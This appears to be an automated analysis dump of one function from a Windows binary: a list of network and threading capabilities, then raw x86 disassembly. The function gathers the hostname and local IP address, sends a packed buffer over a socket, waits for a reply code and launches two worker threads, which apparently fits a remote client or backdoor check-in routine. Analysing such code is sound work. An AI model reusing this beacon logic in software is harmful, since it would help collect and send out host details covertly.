Function at 0x403660
Capabilities:
Create thread
Get hostname
Get socket status
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration
Terminate thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58e8bb
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1990
call fcn.00563ab0
mov eax, dword [0x5f3e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1990], ecx
lea ecx, [ebp - 0x1980]
mov dword [0x5fd5e0], 1
mov dword [0x5fd5d8], 0
call fcn.00409080
lea ecx, [ebp - 0x1994]
mov dword [ebp - 4], 0
call fcn.00409160
push 0x7ff
lea eax, [ebp - 0x847]
mov byte [ebp - 4], 1
push 0
push eax
call fcn.00564e00
lea edi, [ebp - 0x848]
mov byte [ebp - 0x848], 0x31
add esp, 0xc
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x403704
mov ax, word [0x5d3aec]
lea ecx, [ebp - 0x848]
mov word [edi], ax
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403720
mov eax, dword [0x5d3af0]
mov dword [ecx], eax
mov eax, dword [0x5d3af4]
mov dword [ecx + 4], eax
mov al, byte [0x5d3af8]
push 0x31
mov byte [ecx + 8], al
lea eax, [ebp - 0x48]
push 0
push eax
call fcn.00564e00
add esp, 0xc
lea esi, [ebp - 0x44]
xor edi, edi
nop word [eax + eax]
lea ecx, [edi - 0x7ffffffe]
call fcn.00409050
mov eax, dword [0x5fd60c]
lea esi, [esi + 0x10]
mov dword [esi - 0x14], eax
inc edi
mov eax, dword [0x5fd608]
mov dword [esi - 0x10], eax
mov eax, dword [0x5fd604]
mov dword [esi - 0xc], eax
mov eax, dword [0x5fd600]
mov dword [esi - 8], eax
cmp edi, 3
jb 0x403760
xorps xmm0, xmm0
mov dword [ebp - 0x850], 0
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x84c], 0
movups xmmword [ebp - 0x860], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4037b8
sub ecx, edx
lea eax, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x860]
call fcn.00408c70
cmp dword [ebp - 0x84c], 0x10
lea edx, [ebp - 0x860]
cmovae edx, dword [ebp - 0x860]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4037e7
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4037f7
mov eax, dword [ebp - 0x84c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x10
jb 0x403849
mov edx, dword [ebp - 0x860]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40383f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403c87
push ecx
push edx
call fcn.00562bc8
add esp, 8
lea edi, [ebp - 0x848]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x403850
mov ax, word [0x5d3aec]
mov edx, dword [ebp - 0x1980]
mov esi, edx
mov word [edi], ax
nop dword [eax + eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x403870
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403880
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x848]
dec edi
nop dword [eax]
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x4038a0
mov edx, dword [ebp - 0x1994]
mov esi, edx
mov word [edi], ax
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4038b5
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4038c5
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x848]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x4038e2
push 0x104
mov word [edi], ax
lea eax, [ebp - 0x968]
push 0
push eax
call fcn.00564e00
add esp, 0xc
lea eax, [ebp - 0x968]
push 0x104
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x968]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, eax
mov dword [ebp - 0x850], 0
mov ecx, edx
mov dword [ebp - 0x84c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x860], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403956
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x860]
call fcn.00408c70
cmp dword [ebp - 0x84c], 0x10
lea edx, [ebp - 0x860]
cmovae edx, dword [ebp - 0x860]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403982
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403992
mov eax, dword [ebp - 0x84c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x10
jb 0x4039e4
mov edx, dword [ebp - 0x860]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4039da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403c87
push ecx
push edx
call fcn.00562bc8
add esp, 8
push 0x800
lea eax, [ebp - 0x116c]
push 0
push eax
call fcn.00564e00
add esp, 0xc
mov dword [ebp - 0x1170], 1
xor ecx, ecx
mov al, byte [ebp + ecx - 0x848]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x116d], al
test al, al
jne 0x403a06
push 0x804
lea eax, [ebp - 0x1978]
push 0
push eax
call fcn.00564e00
add esp, 0xc
mov dword [ebp - 0x198c], 0
cmp dword [0x5fd5d8], 0
jne 0x403b6c
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
nop
push 0
push 0x804
lea eax, [ebp - 0x1170]
push eax
push dword [0x5fd5e4]
call dword [sym.imp.WS2_32.dll_send]
mov edi, dword [0x5fd5e4]
lea eax, [ebp - 0x197c]
push eax
push 0x8004667e
push edi
mov dword [ebp - 0x197c], 1
call esi
mov dword [ebp - 0x964], edi
xor esi, esi
mov dword [ebp - 0x968], 1
mov dword [ebp - 0x199c], 3
mov dword [ebp - 0x1998], 0
nop
lea eax, [ebp - 0x199c]
push eax
push 0
push 0
lea eax, [ebp - 0x968]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x403b21
test eax, eax
je 0x403b00
push 0
mov eax, 0x804
sub eax, esi
push eax
lea eax, [ebp - 0x1978]
add eax, esi
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x403b00
test eax, eax
je 0x403b00
add esi, eax
cmp esi, 0x804
jl 0x403ab0
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea eax, [ebp - 0x197c]
push eax
push 0x8004667e
push edi
mov dword [ebp - 0x197c], 0
call esi
jmp 0x403b27
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 0x1978], 0x1e
je 0x403b62
mov eax, dword [ebp - 0x198c]
inc eax
mov dword [ebp - 0x198c], eax
cmp eax, 3
je 0x403b51
cmp dword [0x5fd5d8], 0
je 0x403a50
jmp 0x403b6c
push dword [0x5fd5e4]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x403c07
mov dword [0x5fd5d8], 1
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402b30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x402ab0
push 0
push 0
mov dword [ebp - 0x1988], eax
call esi
push 0xffffffffffffffff
mov dword [ebp - 0x1984], eax
lea eax, [ebp - 0x1988]
push 0
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp dword [0x5fd5e0], 0
je 0x403bc5
cmp dword [0x5fd5dc], 0
jne 0x403bdf
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x7b
push dword [ebp - 0x1988]
call esi
push 0x7b
push dword [ebp - 0x1984]
call esi
push dword [0x5fd5e4]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebp - 0x1988]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1984]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1990]
mov ecx, eax
push dword [eax]
call fcn.00402960
mov byte [ebp - 4], 0
or esi, 0xffffffff
mov edx, dword [ebp - 0x1994]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403c45
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x1980]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x403c67
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00562bba
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.005680f5
int3